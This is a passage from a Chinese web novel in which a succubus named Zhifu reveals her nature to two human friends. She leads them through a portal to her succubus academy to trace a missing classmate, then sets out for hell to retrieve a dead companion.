“你知道的很多哦。”之芙说,“你们人类都说知道的太多的人活不长。” “那我就只能祈祷这句话在你们那里行不通了。”司苍沉声道。 汽车缓缓驶出别墅区,往更远处的郊外开去。方寄南皱着眉道:“等等,等等,什么叫‘你们人类’?什么叫‘你们那里’?” 之芙笑:“你什么都不知道,还敢跟上来?” 后视镜里,方寄南皱着眉:“我好像上了你们兄妹家的贼车。” “你见过的怪事应该也不少吧?你都见过那个游戏了,再见见别的也不算什么。”之芙淡定地说,“简单来说,我不是人类。” “……” “司苍早就猜到了。”之芙说。 “……嗯。”司苍目不斜视,规规矩矩地开着车,“很难不猜到。我第一次见到之芙的时候,她大概也就刚成年,穿着奇怪的衣服——就是现在这一身,我以为你已经把它丢掉了——出现在荒山上。没有父母、没有亲友,没有社会关系,最奇怪的是,对人类社会一无所知。” 他把自己怎么遇见之芙、又是怎么请之芙住在司家的事大体地说了一下。 “她刚到这里的时候,只有简单的生存技能。”司苍从后视镜里看了之芙一眼,“即使是吃饭睡觉这样的技能都很生疏,就像是学习过,但没有使用过。当时我就想,你就像从来没有在这个世界上生活过一样。”最后一句话是对之芙说的。 之芙想起什么:“司妈妈也猜到了?” “嗯……很难不猜到吧,你根本没有掩饰啊。”司苍说,“所以家里辞退了一些阿姨。” “好吧。”之芙说,“其实我有掩饰过……嗯,学校有教过。但你要理解一个异世界生物的纸上谈兵。” 司苍忍不住问:“学校?你们还有学校教你们怎么伪装成一个人类?这听起来……有点恐怖吧。” 一个,不,是一群未知生物在它们的学校里研究学习怎么潜入进入人类社会……听起来像是什么恐怖片外星人入侵片的开头。 “嗯……其实也没什么异世界生物来人类社会的。”之芙十分客观地说,“人类社会的潜伏难度太高了,你们通讯发达且社会自成体系,几乎没有零散社群可供融入,而且又十分排外,所以人类社会很早就不是我们的首选栖息地了。” 司苍和方寄南:“……”真不知道该说感谢还是什么…… “而且你们放心吧,只有我们这个族群才这样。别的生物,据我所知,没有要入侵人类社会的意思。” 方寄南一直在旁边听着,此刻忍不住问:“所以,之芙你到底是什么?”他顺着之芙在上一场游戏里说过的话开玩笑,“你不会是恶魔吧?” 之芙在游戏里跟特蕾莎说自己是恶魔,让方寄南印象很深刻。 谁知之芙点了点头:“对。” 方寄南:“……” “你是不是想说,我跟你们人类想象中的恶魔不一样?其实恶魔也不算是一种生物,在我们的世界,恶魔是一种……嗯,统称。有很多生物都可以叫作恶魔,比如说我们的物种。”她说了一个词语,但那个词语不是人类语言范围内的任何语种,听起来只是一句叽里咕噜的念叨。 “当然,你们人类的幻想种里也有一种很类似于我的物种的生物,你们可以把我认为成那个——” “哪个?”方寄南好奇地问。 之芙淡定地吐出两个字:“魅魔。” “哦,魅——咳咳咳!!!”方寄南被自己的口水呛住,剧烈咳嗽,“什么东西?魅魔?我以为那都是人类为了满足自己的幻想编的……” 之芙继续淡定地说:“哦,就是你想的那样,我们靠其他生物的情绪进食。我也偷吃过司苍的情绪,不过一般来说情绪越激烈越好吃,所以司苍的味道一般。” 突然被点名的司苍:“……”他虽然没有说话,但露出了被震撼到的表情,看起来人还在驾驶座上,但魂已经走了有一会儿了。 方寄南也:“……”他愣了一下,突然问:“那我好吃吗?” 第195章 间章 我们的小优等生,逃课偷渡去人类…… “那我好吃吗?”——方寄南就这样大大咧咧地把话问出口了, 司苍侧目,真是不知者无畏。 倒是之芙很认真想了想:“……挺好吃的。”她居然认真而又客观地点评,就像她真的是什么美食家似的:“你算是我认识的人里比较好吃的那种了, 仅次于白飞烟。” 说到白飞烟,车里骤然陷入沉默, 司苍和方寄南脸上的笑容也消失了。 半晌, 方寄南转移话题:“所以像你这样的魅魔在人类社会里很多吗?” “很少。”之芙耐心解释,“在我们的学校里,只有通过考核的魅魔才能进入人类社会。人类的情绪是最好吃的食物, 但与之相对的是, 人类社会也非常难融入。所以这是优秀的学院毕业生才能获得的荣誉。” 之芙挺起骄傲的小胸膛:“比如我,我可是魅魔学院优秀毕业生, 年年都能拿满分!” “很厉害啊。”方寄南捧场。“所以你一毕业就进入人类社会了?” 之芙:“……” 之芙嘴硬:“对。我可是很厉害的魅魔。” “所以你是想回去了吗?”司苍低声询问, “回到你的世界去?……如果那样能让你躲开这个游戏, 也不错。” “不是。”之芙说, “是有另一件事。另一件, 让我很在意的事情。” 两人做出洗耳恭听的动作,之芙清了清嗓子:“你们应该看到了吧,在我和白飞烟进入的那个游戏里, 有一个来自前传时间线的幽灵玩家。” “嗯。”司苍说, “我们查过了, 那个玩家没有被收录在疗养院的档案里, 估计是早期的零散玩家。我们联系了一些玩家寻找,但也没有消息, 不知道她现在怎么样了。” 之芙摆了摆手:“找不到是正常的,她不是人类。” “嗯?”方寄南露出了一个滑稽的惊愕表情,看向之芙, “她……你……所以,她也是魅魔?” “嗯。”之芙说。“我回家之后重新打了这个游戏的DLC内容,发现那个‘玩家’有些奇怪,就一直跟着她。她有魅魔蛊惑和入梦的能力,使用方法也很熟悉,就是学校教的那一套。我后来想起来,我曾经在学校里见过她,只是没有说过话,魅魔是独居的种族,我们并不熟悉。” 司苍有些迟疑:“所以……?” “所以我要找人问问那个魅魔为什么会出现在游戏里,这是一件事。”之芙说,“另一件事是……算了,暂时保密。” 方寄南和司苍的头顶冒出了一个大大的问号,但还没等询问,之芙紧接着说:“你们可以跟着我,但不许问多余的话。” 方寄南立刻做了一个用手指把嘴巴拉上的动作。 之芙满意地点点头,把两人扫视一圈,问:“李锐没来?” “……他在休息呢。”方寄南又做了个把嘴巴拉开的动作,长吁一口气,像是想说什么,但在哪之前,之芙就点头说:“也对,他刚从游戏里出来,是该好好休息。” 方寄南:“……你都猜到了?” “很好猜啊。”这回轮到之芙笑眯眯地拆穿他们了,“游戏里那个艾弗神父不就是他吗?系统说会有工作人员作为NPC进入游戏的。” “……” “……” 方寄南和司苍面面相觑。好半晌,司苍无奈地苦笑:“什么都瞒不过你,厉害的魅魔大人。” 这一夸可算是夸到了之芙的心上:“哼哼,那当然。” 之芙得意洋洋,又嘱咐这群没见过世面的人类:“你们待会儿就跟着我,什么都不要说。” “知道了,魅魔大人——” 天光微熹,他们的车开到了山路尽头。这里就是司苍第一次遇见之芙的地方,他按之芙的要求把车开到指定位置,停好车,三人一起踏上山路。 这里不是旅游景点,自然也不可能有什么维护良好的柏油马路,说是“路”甚至都有点不准确了,山上就没有路,泥土里穿杂着嶙峋的石块。 之芙穿着黑色的长裙和斗篷,走起山路来却毫不费劲,轻松得仿佛飘在地上似的,反而是身后的司苍和方寄南有些狼狈了。 “等等。”身后的方寄南忽然开口喊住之芙,“我们要去哪里?” “不是说不能问吗?”之芙反问道,“你们就跟着我就好——” 她看了一眼山上:“别担心,我们马上就到了。” 方寄南叹了一口气,伸出手,十分自然地说:“拉我。” 之芙刚伸出手去,就被他一把抓住了。她甩了甩,没甩开。 方寄南理不直气也壮地说:“不能问是一回事,不能怕又是另一回事吧。这还是我第一次听说世界上还有魅魔这种生物,还有其他一些什么异世界生物……我现在也不知道我们要去哪里,万一你把我带到异世界生物的老巢怎么办?”他眨眨眼,“我害怕,你牵着我吧。” 司苍在旁边:“……”好绿茶啊。 但之芙居然真的吃这一套,她同意了方寄南牵住她的手,司苍当然不甘示弱,主动牵住了之芙的另一只手。 他摇了摇之芙的手,面无表情地说:“我也害怕,牵我。” 这次轮到方寄南“……”了。 之芙拉长了语调:“噢——害怕。这位疗养院监管者先生和这位疗养院投资者先生,这么害怕呀?” 司苍斩钉截铁:“嗯。”脸上表情,却没有几分害怕的意思。 之芙笑眯眯地,正待说什么,旁边却忽然传来一个声音。 “之芙?”——是一个陌生的女声。 之芙转过身,看到了站在前方的女人——那是一个不知何时出现在森林深处的女人,穿着跟之芙一模一样的黑色长袍,胸前也挂着一样的红色的、仿佛正在燃烧的花朵。这仿佛是一个信号,昭示着她们同类的身份。 “我以为你永远不会来找我们了。”女人笑眯眯地看着之芙。她看起来比之芙的年龄大一些——考虑到这些异世界生物的年龄概念,很可能不是一些。她的面容昳丽而美艳,眼神却十分慈祥,看起来像一个靠谱的长辈,“我还想,下一次听到你的消息,说不定会是你死掉的消息呢。” “……我也这么以为。不过按理来说,你应该会比我死得更早吧?” “是吗,哈哈,也对。”女人丝毫没有生气,谈论到关于死亡的话题时,她们就像是谈论今天有没有吃饭一样平淡,“那么,我们的小优等生,逃课偷渡去人类世界的小优等生,找我来是有什么事吗?难道你在人类社会呆不下去了,终于决定回到学校了?” 第196章 间章 之芙:“……” …… 之芙:“……” 之芙:“我可没有逃课!我本来就已经毕业了!” 女人笑眯眯地看着她, 没有反驳。她握住胸前的红色花朵挂坠,低声念了一句什么。 之芙的表情有些无奈,但跟着她的动作也握住了挂坠, 念出跟她相同的话语。 “好了,走吧。”女人看了一眼之芙身后的两人, “这是?” “我朋友。”之芙说。 “哦, 你的人类。”女人会意,露出一副了然的表情,又笑眯眯地冲两个人点头示意, 然后对之芙说, “小优等生比我们想象中厉害多了,这么几天就能找到这样不错的人类, 很可以嘛。” “哼哼。”之芙臭屁地说, “我可是蝉联三届优秀毕业生的魅魔。” “所以你来找我做什么?”女人轻车熟路地往山上走去, 不知何时, 他们的前方出现了一栋漆黑的小木屋, 静静地矗立在森林深处。 “有事,有大事。”之芙说,“不过我也不知道该跟谁说, 先回学校吧。”之芙在学校里见过游戏里的那一个魅魔玩家, 只是不知道她是已经毕业了还是还在学校。 女人一边带着他们往小木屋走, 一边回头:“这两个人类……?” “哦, 我要带他们一起去学校,他们跟我要说的事情有关, 能帮上忙。放心吧,他们已经是我的人类了。”之芙回头暗示方寄南和司苍,“对吧?他们会很乖的。” 两只魅魔对于他们两个人类的态度堪称随意, 司苍沉默点头,而方寄南也笑眯眯地点头同意:“需要叫你主人吗?” 他倒是对什么都接受良好…… 女魅魔笑了笑:“果然,我们小优等生在学校里就很受欢迎,在人类社会也一样。之前你离开学校的时候,还有不少学弟学妹伤心呢。这次你回学校他们估计很开心,就是……” “就是什么?” “就是有人就没那么开心了。比如……校长。你偷渡到人类社会可把她气坏了,回去要说点好话哄哄她呀。” “……”之芙扭头,“是她说点好话哄哄我吧!我真不懂,我已经毕业那么久了,凭什么不让我离开学校。那可是三次毕业,三次!而且每次我都是优秀毕业生。” “她担心你呀,小优等生。”女人微笑着说,“虽然你成绩很好,但是你还没有接触过其他生物呢。我来到这边之后学了一个词叫‘纸上谈兵’,就像你这样,纸上谈兵,这怎么让人放心呢?” 说话间他们已经抵达了小木屋的门前,女人摘下胸前的挂坠把门打开——那居然是一枚钥匙。“好了,去吧。现在你不是偷渡来的魅魔了,以后没必要躲着我了吧?如果你还会来人类社会,记得请我吃饭哦。” “我记着呢!”之芙说着话,一面朝她挥手,一面拉开大门,“现在是两顿饭了。” 之芙带着方寄南司苍走进门里,但门里却不是他们想象中的温馨小屋,而是一条长长的走廊。 “这是……” “这是去学校的路。”之芙说,“跟紧我。” 她迈步踏进走廊,这个走廊看起来有点像是学校里的那种宿舍,长长的一条走廊遍布木门,木门上却什么也没有写,仿佛里面通往另一个世界似的。 方寄南问:“你说你欠她两顿饭,是……” 之芙停在一扇门前,朝他们勾勾手。两人乖乖俯下身来,只听之芙道:“因为我偷跑出来也是找她帮忙的。” 两次加在一起,可不就是两顿饭吗。 司苍却顿了顿,问:“你们……呃,你们魅魔吃饭,是请吃那种正经饭吗?” 之芙:“……” “我们魅魔也是可以体验人类食物的好吗。”之芙没好气地说,“再说了人类的食物很好吃啊。” 不知道司苍是不是想起了每次之芙吃饭时的开心表情,沉默地点了点头。 “不过……”方寄南若有所思地插话,“那个魅魔说,你是偷渡到人类世界的,是怎么回事?” 之芙:“……”过去的事情不要再提了好吗。 司苍也看着她说:“刚刚在车上的时候,你说你是优秀毕业生,被允许进入人类社会……” 之芙再次:“……”他也没放过她。 “好了好了!”之芙受不了地抓脑袋,“我说行了吧,我真的是优秀毕业生,我很早就该毕业了的。而且我的很多课程都是满分,理论上是可以申请去人类社会的,但校长打回了我的毕业申请,让我延毕了三年。” “我年龄确实比较小,很早就进入学院了。魅魔没有父母,彼此之间的关系很单薄,我们是独居生物,几乎不会和同类生活在一起,在成年之前,魅魔们会在学院学习生存知识,成年后就会毕业,根据根据自己的成绩选择适合的社会潜伏和生活。 在魅魔的世界里,人类社会的生存难度是最大的,其次是天使们生活的社会。 我可是优等生,当然要选人类社会啦。但是老师们一次次打回了我的申请…… 我不会气馁,所以反复申请——呼。然后在第三年,我的毕业申请又被拒绝了。 所以……我就跟着进入人类社会的学姐学长,悄悄地从学院里溜出来…… 嗯,我来到人类社会的第一天,就遇到了出了车祸的司苍——后面的事情你们就都知道了。” “那个魅魔……” “哦,你说她?她是学院的联络人。在人类社会生活的魅魔,都靠她来互相联络。魅魔们潜入在不同的社会里的时候可能会修改自己的外貌和声音,把自己完全地变成另一个种族,彼此之间不会相认也不会互相干涉,即使是认识的魅魔,在满是异类的社会生存也会默契地装作不认识。 所以我们需要一个联络人来进行信息交换,必要的时候互相帮助。当然,联络是单方面的。联络人只能等待,不能寻找,大部分魅魔毕业后就会彻底消失,直到死亡后,由联络人把她带回学院。” 之芙耸了耸肩:“在学校的时候,她就经常照顾我。虽然魅魔没有这种说法,但用你们人类的话来说,她是我的长辈。在我第三次延毕的时候,我找到她,用一顿饭来交换这个。” 她握住胸前的红色花朵挂坠。那是一束不属于人类世界的、形态诡异而艳丽的花。 “这是钥匙,有这把钥匙就可以进门。” “……进门?” “就像这样。”之芙推开走廊里的一扇门,一只手抓住司苍,另一只手抓住方寄南。“抓紧了!” 大门骤然打开,白光大盛,把他们笼罩在其中。 下一秒,司苍和方寄南只感觉天旋地转,头晕目眩,仿佛被人扔到滚筒洗衣机里疯狂搅拌,浑身上下是撕裂般的疼痛。 “咚——”白光消失了,走廊空无一人,重新恢复了寂静。 脚步声从走廊的尽头响起,美丽成熟的魅魔自黑暗中走出,她凝视着那扇已被关闭的门。 第197章 间章 “来,戴上这个。”之芙把两枚项…… “来, 戴上这个。”之芙把两枚项链递给司苍和方寄南。 司苍和方寄南却没接过项链——两人正扶着墙,屏幕地按着肚子和嘴,头晕脑胀地发昏。 之芙“啊”了一声, 走过去了捧起司苍的脸——他紧闭着双眼,眉头皱成一道深深的沟壑, 脸色苍白如纸, 唇瓣却鲜红如血。 “……”之芙想到了什么,“抱歉,我不知道人类进入通道会这么难受。毕竟……呃, 好像从来没有听说过人类可以进入魅魔的通道……” “……呼呼……没事……”过了一会儿两人才缓过来。 “你们没事吧?”之芙有些抱歉, “要不我先送你们回去?” “……没事。”司苍和方寄南摆了摆手,“别担心, 只是有些不舒服, 现在已经好多了。” 两人深呼吸, 重新站了起来。 “那就好。”之芙这才松了口气, “你们把这个戴上吧。” “这是?”之芙拿在手里的两枚挂坠也是火红色的花朵挂坠, 两人接过来戴在胸前,才发现那花不知道是什么花,血色的花瓣肆意舒展着, 仔细看去, 能看到花瓣上流动的光华, 像是一朵燃烧的火焰。 之芙示意他们握住花瓣。然后她低声说了一句话:“……” 两人都听出来, 这一句是刚刚她和联络员所说的话,是不属于人类的语言, 大概算是魅魔语?之前听起来不过是一串乱码,但握着这枚吊坠,就像是戴上了一个翻译器似的, 那句话自动在他们的脑海中翻译了出来: “愿桑花保佑。” “……”两人一愣一愣的,“桑花是什么?” “是一种属于魅魔的花。”之芙说,“魅魔死去之后,她们的坟墓上就会长出桑花。喏,就是这个。”她很大方地给他们展示花朵挂坠。 “这个东西,就相当于是翻译器。”之芙顿了顿,给两个无知人类科普,“魅魔们会混入很多生物种群里生活,所以语言是我们的必修课程。你们手里的这个东西,就是小魅魔学习语言用的辅助器。” ‘小’魅魔、学习用、辅助器…… 两人的表情都变得微妙起来。 之芙说:“用这个你们也可以说话。不过……” “不过?” “出于学习的需要,也有非魅魔的其他种族在学院里生活。但人类在学院里很少见……呃,准确来说,几乎没有出现过。所以……” “……”司苍和方寄南意识到,自己估计要被当成珍稀保护动物参观了。 “先去找游戏里那个魅魔吧。”之芙打了个哈哈说,“她应该就在学院里,我见过她的。” 说罢她就示意司苍和方寄南跟上自己:“这里是我的房间,外面就是学院了。” 两人这才意识到什么,环顾四周,他们正处于一间大约一百平米的房间中,房间的一头摆着一张床和一张书桌、书柜,另一侧放着电视机和茶几,甚至还放着一套茶具。 无论是从装修还是布置上来看,说这是一件属于人类的房间,绝对没有人会怀疑。 “提前熟悉环境罢了。”之芙注意到他们的视线,解释道,“因为我早就决定好要去人类的社会生活,所以就把自己的房间布置成了这样。我们也有跟外界交流和交易的渠道,这些东西都是用我们的办法买来的。不过嘛,只有最基础的东西。” “还是真正的人类世界好啊。”之芙伸了个懒腰感慨,“怪不得魅魔们都想去人类世界,好吃就算了,还很好玩。魅魔世界可没有你们那么好玩的游戏小说电影……” 两人还以为出门后会遇到什么高科技或是幻想世界里出现的“校园”,但有些出乎人意料的是,这个学校看起来跟人类的学校没什么区别。走出房间后是一条长长的走廊,类似于他们进门前看到的那个。 走廊也十分宽阔,能看到不断地有魅魔从房间里走出来——它们的长相也跟人类没什么不同,只从外表上来看,就是普通人类的模样。 和联络员说的一样,之芙在学校里很受欢迎。 “芙芙!你前几天去哪里了?” “芙芙?天啊,你真的回来了!你去哪里了?我想死你了!” “我们还以为不会再见到你了呢。没想到你还能回来!” “芙芙,他们说你偷渡去人类世界了,是真的吗?!” 之芙只是出现在走廊里,没过几分钟就被魅魔们团团围住了,他们甚至挤走了原本站在之芙身边的司苍和方寄南。 两人这才意识到,被当成珍稀动物围观保护的人恐怕不是他们。 “当然。”之芙打了个哈哈,“我是去了人类世界。” “跟在你后面这两个是你的人类吗?”有魅魔睁着好奇的大眼睛问。 “嗯。”之芙说,把他俩拉过来护在自己后面,“你们别看他们啦,是我有事,所以把他们一起带来了,我会跟校长解释的。”她言简意赅地道。 紧接着,司苍和方寄南都感觉到了来自四面八方的,探究的视线。 但和想象中的好奇、渴望或恶意不同,那些目光挑剔地打量着他们,一遍又一遍地在他们身上巡梭,透出一种隐隐的……嫉妒。 一个女魅魔笑了一声,亲昵地揽住之芙的手臂:“芙芙,你在人类世界玩得开心吗?人类好吃吗?” “开心,而且人类很好吃。”之芙朝女魅魔笑了一下,抓住司苍和方寄南的手。“人类社会可好玩了,不白费我花心思跑出去。” “……”不是错觉,那种嫉妒得仿佛在燃烧的滚烫的视线随着之芙抓住他们的手而落在身上,明晃晃得让人无法无视。 司苍抿着唇,方寄南眯着狐狸眼跟那群魅魔对视,半晌也轻笑了一声,看着那群魅魔,话却是对之芙说的:“芙芙,不是有事要办吗?” “哦对对对!”之芙如梦初醒,“我是想跟你们打听个事。” “什么事?芙芙你说。”那群魅魔也直勾勾地瞪着方寄南——还有并不太习惯加入战争,却无论如何也被波及到了的司苍——话也是对之芙说的。 “我想找一个魅魔。是女孩子,好像是我的学妹,嗯……我见过她几次。圆脸圆眼睛,金发碧眼,喜欢穿水蓝色的长裙,喜欢盘发扎蓝色的蝴蝶结发卡,说话有点口音。” 魅魔们也没问她为什么要找人,有个魅魔想了想说:“之芙学姐,你说的那个魅魔是叫娜莎吗?” 之芙也不知道对方的名字,含糊着应了一声。 开口那个魅魔怯怯地说:“学姐,娜莎学姐已经毕业了呀。是校长审批了她的毕业申请,她的目的地也是人类社会……你是跟着她一起离开的呀。” 之芙一愣。 可是根据系统时间和疗养院计划的时间来看,在游戏里的那个玩家,早在一年以前就已经加入游戏了,那是远比之芙离开学院还要早的时间。 第198章 去地狱 在学校的管理室里,之芙找…… 在学校的管理室里, 之芙找到了去年毕业的学生名单。 她蹲在书柜前,翻开羊皮纸卷,司苍和方寄南门神似地一左一右站着, 也弯着腰看。 ——“这里,娜莎的名字。” 纸卷上登记着她的名字和信息, 还有一张画卷, 画得是娜莎的模样。 圆脸圆眼,金发碧眼,扎在脑后的头发上别着一个大大的丝绸蝴蝶结。 “……真的是她。”之芙喃喃, “我在游戏里见到的那个玩家就是她, 而且她在游戏里也叫娜莎。” 但是,但是……这时间完全对不上。 司苍也说:“你确实娜莎是跟你一起前往人类世界的吗?那个时候疗养院计划已经开始了, 几乎所有的玩家都被我们用游戏规则找到了。根据游戏时间来看, 那个玩家进入的时间也远在这之前。” 也正是因为这样, 他们才判定娜莎已经死了——现在还存活的玩家几乎都在疗养院里了。 之芙把视线投向了一旁怯生生的魅魔——她就是一开始认出娜莎的人。“学妹, 你确定娜莎伸手跟着我一起离开学校的吗?” “当、当然了, 之芙学姐。”小魅魔说,“娜莎学姐也很有名的。她成绩好,是那一批学生里的大姐头, 很多人都认识她, 而且她的毕业目的地也是人类社会……如果她不去人类社会的话, 她又去了哪里呢?” “……” “学姐找娜莎学姐有什么事吗?”小魅魔问。“学姐知道的, 离开学院之后我们就没法再联系了,娜莎学姐也没有回来过。她大概还在人类社会生活吧……就是不知道在哪里了。” 之芙有些头疼地捂住了额头。她当然也知道, 但就是因为如此,她才更头疼了。这代表着,如果娜莎不主动联系她的话, 她是没办法找到娜莎的。 可是,有关游戏的事情她还可以去问谁呢?现在只有娜莎知道一切。 “我有事要问娜莎,真的没有办法联系她了吗?”之芙问。 小魅魔茫然地摇摇头。 之芙又问:“没有人知道她具体的去处吗?比如她去了人类社会的哪个地区?” 小魅魔更加茫然了:“她毕业之后就销声匿迹了,从此再也没有联系任何人。我们都说,下一次见到她的时候她估计已经死了。学姐你知道的,我们魅魔的生存方式就是这样的呀。” 之芙长长地叹了口气。其实她也知道——因为刚到人类社会的时候她也是这样,断绝掉一切联系,甚至大门不出二门不迈,如果当时有人要找她,估计也是一头雾水。 “算了。”之芙又叹了口气,往外走。 “……等、等等!”小魅魔赶紧说,“学姐,你要找娜莎学姐的话,为什么不问问校长呢?” 之芙:“……” “校长应该知道娜莎学姐去哪里了吧?毕业生的去处都要在校长那里登记呀,娜莎学姐的毕业申请也是校长通过的。” “……” “而且,这次学姐偷偷离开,校长可生气了……学姐,你不去看看校长吗? 之芙沉默了一会儿,把脑袋偏过一边去:“……我有事。” 小魅魔察觉到她有些像是生气的奇怪情绪,手足无措地“哦”了一声,想了想又说:“学姐,大家都很想你。……校长也是。她不会生你气的。” “……我知道。”之芙还是扭着头没看她,“我会找时间去见她的。” 小魅魔欲言又止,但还是礼貌地同她和司苍方寄南告别。离开前,她又问:“学姐,你接下来要去哪里?还是回人类世界吗?” 之芙想了想说:“不,我要去地狱看看。” “……地狱?!” 小魅魔和司苍方寄南同时面露错愕。 …… “……地狱就是,呃,不是你们想的那样!” 司苍和方寄南默默投来了一个视线。 之芙抓抓脑袋:“反正呢,我觉得地狱是一个很好的地方呀。地狱很恐怖什么的,是你们人类的偏见。” “……”没有见过地狱的两个人自然无言以对,只能默默地看着她。 方寄南的显然对这个“地狱”抱有浓厚的兴趣:“那地狱是什么样子的?我们也能去吗?” 相比于他,司苍的问题更加务实一点:“你要去地狱做什么?跟娜莎有关吗?那个魅魔不是说娜莎在人类世界吗?娜莎会在地狱吗?” 之芙“唔”了一声。事到如今,她也没什么好瞒着的了——虽然本来也没有想瞒着。 她顿了顿说:“我说过吧,白飞烟让我的努力白费了,我不会放过他的!” 说到这个,之芙就来气。她握紧了拳头,气鼓鼓地:“呵呵,以为死了就万事皆空了吗?就算下地狱我也会把他抓出来的!” 司苍:“……” 方寄南:“……” 谁知道之芙是来真的啊?! 怪不得白飞烟走了,之芙没有一点点伤心或担忧的样子,害得他俩都不敢提起这件事,还得装作什么都没有发生的样子,生怕让之芙伤心。 原来伤心的只有他们两个……哦不对,应该说,原来伤心的只有他们两个普通人类…… 之芙可是魅魔大人,她有得是力气和手段,跟普通人类自然不一样…… 方寄南恭恭敬敬客客气气地询问魅魔大人:“那我们该怎么去找白飞烟?他……现在怎么样了?” 伟大的魅魔大人大手一挥:“别急,你们要跟我一起去吗?那地方对人类来说还是有点危险的。” 司苍和方寄南想都没想就说:“当然要去。” 他们和白飞烟的关系虽然不算好,勉强只能算是不是很能看上对方的情敌,但彼此也是共事许久的朋友,白飞烟的离开虽然早有预料,但也难免物伤其类。 而且……对于人类来说,死亡是最大的未知,代表着恐惧、痛苦和迷茫。 在未知的谜团的好奇心面前,危险不算什么。人类永远对未知抱有最大的勇气。 之芙对他们的决定早有预料,她点点头,勾着手指对他们道:“跟我来。” 第199章 去地狱 依然是穿越一道长长的…… 依然是穿越一道长长的走廊。这走廊在学校的一个房间内, 他们一路走过学校,路上有许多魅魔主动跟之芙打招呼,笑盈盈地跟之芙攀谈, 同时向司苍和方寄南投来隐晦的、嫉妒的神情。 一路上不乏有魅魔主动询问之芙什么时候去见校长。 之芙只是眨眨眼,驾轻就熟地撒娇:“拜托啦我这次回来校长不知道, 不要告诉她好不好?” “哦, 好吧。”魅魔们大多这样说,“学姐你记得找机会去见校长哦?你这次可把她气得不轻。” 之芙笑着点点头:“我知道的。” “唉,好吧。学姐要去哪里?” “保、密——” “跟身边这两个人类去吗?” “当然。”之芙叉着腰说, 又主动一手揽着一个, “他们可是我的人类。你们还看什么看?这可是我的人类,我罩着的。” 这下轮到司苍和方寄南眨眨眼, 做无辜小白花小鸟依人状。 魅魔们无奈地收回目光, 嘟哝着什么, 那隐晦的、嫉妒的目光再一次像火烧像针扎般落在他们身上。 ……之芙在学校里真的很受欢迎。他们丝毫不怀疑之芙即使在这个魅魔学院里, 也有着众多同种族的追求者。 方寄南状似不经意地询问:“魅魔可以和魅魔在一起吗?” 之芙正在跟另一个学弟聊天, 闻言想也不想就说:“一般不可以吧。” 那个学弟的眼神顿时像是想杀人一样。 方寄南努力压制住嘴角的笑意,故作好奇地问:“为什么?” “……这样不就饿肚子了吗?嗯……我们魅魔可不像你们人类的文艺作品里写得那么轻狂放浪,一般来说还是只固定一个伴侣的。虽然食物可以有很多就是了……” “你问这个做什么?” “好奇。”方寄南说。又追问, “难道没有魅魔跟魅魔在一起的先例吗?” “应该有的吧……”之芙不太确定, “我们不像你们的社会那样关系紧密, 我们魅魔不太管别的魔的事情。” “看出来了。”方寄南说, 他不介意把话挑得更明白一点,“有很多魅魔喜欢你, 但你看起来更喜欢——人类。”说到最后两个字的时候,他把字含在嘴里,一字一句地吐出来, 声音带着笑。 之芙茫然:“有吗?”她思考了一会儿,“因为延毕,我在学校里呆了很久。这么惨的事情,魅魔们都认识我也很正常,至于喜欢嘛……哼,我被人被魔喜欢都很正常啊。” “至于人类……我确实很喜欢人类。”之芙肯定地说,“你们是很伟大的生物啊。” 司苍忍不住问:“伟大?其他魅魔似乎并不这么觉得。” 一路走来,他们不仅在学校里遇到了魅魔,还遇到了一些其他的、生活在校园里的生物,但那些生物发现他们是人类之后,要么就只是好奇,要么就是隐含恶意地盯着他们,那些目光让人很不舒服。 “那是他们不懂人类的好!”之芙愤愤不平地说。 两人都不约而同地看向她,等待之芙说出一些“人类是渺小而伟大的种族”、“人类的赞歌是勇气的赞歌”……等等诸如此类的在人类的文艺作品里被翻来覆去地说烂了,在此刻说出来却仍然让人感到感动和骄傲的话。 谁知之芙顿了顿,却说:“人类能做出那么好玩的游戏和小说电影,魅魔做得到吗?他们根本就不懂人类的好!等他们玩过人类的游戏,也会心服口服的。” 司苍:“……” 方寄南:“……” 唉,忘了这孩子不仅是魅魔,还是个网瘾少女。 之芙愤愤不平地说:“他们要是玩过人类的游戏、看过人类的电影小说就会知道人类有多伟大了!要是哪天人类和魅魔打起来了,我也一定会站在人类那边的! ” 司苍和方寄南再次:“……”谢谢啊。 司苍想了想,问:“那个校长……” “——别问。”之芙立刻打断他。她转过头去,闷头往前走。 “之芙?” 之芙连身边打招呼的人都不理会了,只闷头往前走。 “看来你不是很喜欢她。”方寄南评价。 “……也不是。”之芙顿了顿。她又想了想,反问方寄南:“你会喜欢一个莫名其妙给自己延毕三年的人吗?” “嗯……恐怕不会。”方寄南无奈地说。“虽然我没有延毕过……所以她到底为什么给你延毕?总不能是莫名其妙就不让你毕业吧?这种情况在我们人类社会,叫做得罪人。” “谁知道!就是因为莫名其妙才生气啊!”一说到这个之芙就来气,“我的各项成绩和模拟实践的成绩都是优秀,可是她却总是说着什么……什么‘时间还早’什么‘现在还不是时机’就让我延毕了!凭什么,为什么!” “所以是因为这个,你才不愿意见她?” “……”之芙诡异地沉默了一会儿,又再一次地把脑袋转向一边,不让两人看到自己的表情。从他们的角度,只能看到之芙紧抿的唇。 司苍隐约感觉到了不对劲,他跟方寄南对视一眼,彼此都在对方的眼里看到了“不对劲”三个字。 延毕确实令人火大,换了谁都要生气。但之芙一直是直来直往的人,她一向是有什么说什么,感受到了什么不会隐瞒。这有点反常,他们都知道,如果之芙真的只是因为延毕这件事对校长生气,不会是这个态度。 现在来看,她对校长的态度很……复杂。似乎不只是单纯的因为自己延毕而生气或是因为自己偷跑到人类世界而心虚,其中掺杂着更复杂的情绪。 学校里其他魅魔的态度也很值得品味。在那些魅魔的口中,之芙和校长的关系似乎很亲近,校长像是个慈爱的长辈。 这里面多半另有隐情,但之芙完全不愿意多提。 “别问了。”她干脆利落地说,抓起司苍和方寄南,“快走吧,不是要去地狱吗?再晚一点会被抓住哦。” 第200章 去地狱 古往今来,人类对于地狱的…… 古往今来, 人类对于地狱的描述和‘记载’从来不少。无论是古时的文字、口口相传的传说或是现代的各种游戏和影视作品,人类对地狱的印象从来都不算好。 说是‘不算好’甚至都有些太委婉了。人类对于地狱的描述大多堪称恐怖,里面塞满了各种发挥人类想象力极限的酷刑, 类似刀山火海、割舌断肉之类的描述屡见不鲜,而且各个文明都不约而同地把地狱描述成类似的恐怖之地——只要看看‘人间炼狱’这个词是用来形容什么的就知道了。 所以……谁能来告诉他们, 他们眼前的这个地方, 真的是传说中的那个‘地狱’吗? 热闹的酒馆里不断有人进出——哦不,或许不是人——肯定不是人。那些只会出现在传说里的生物,矮矮的精灵、长着巨大翅膀的天使、露出黑色细长尾巴的恶魔, 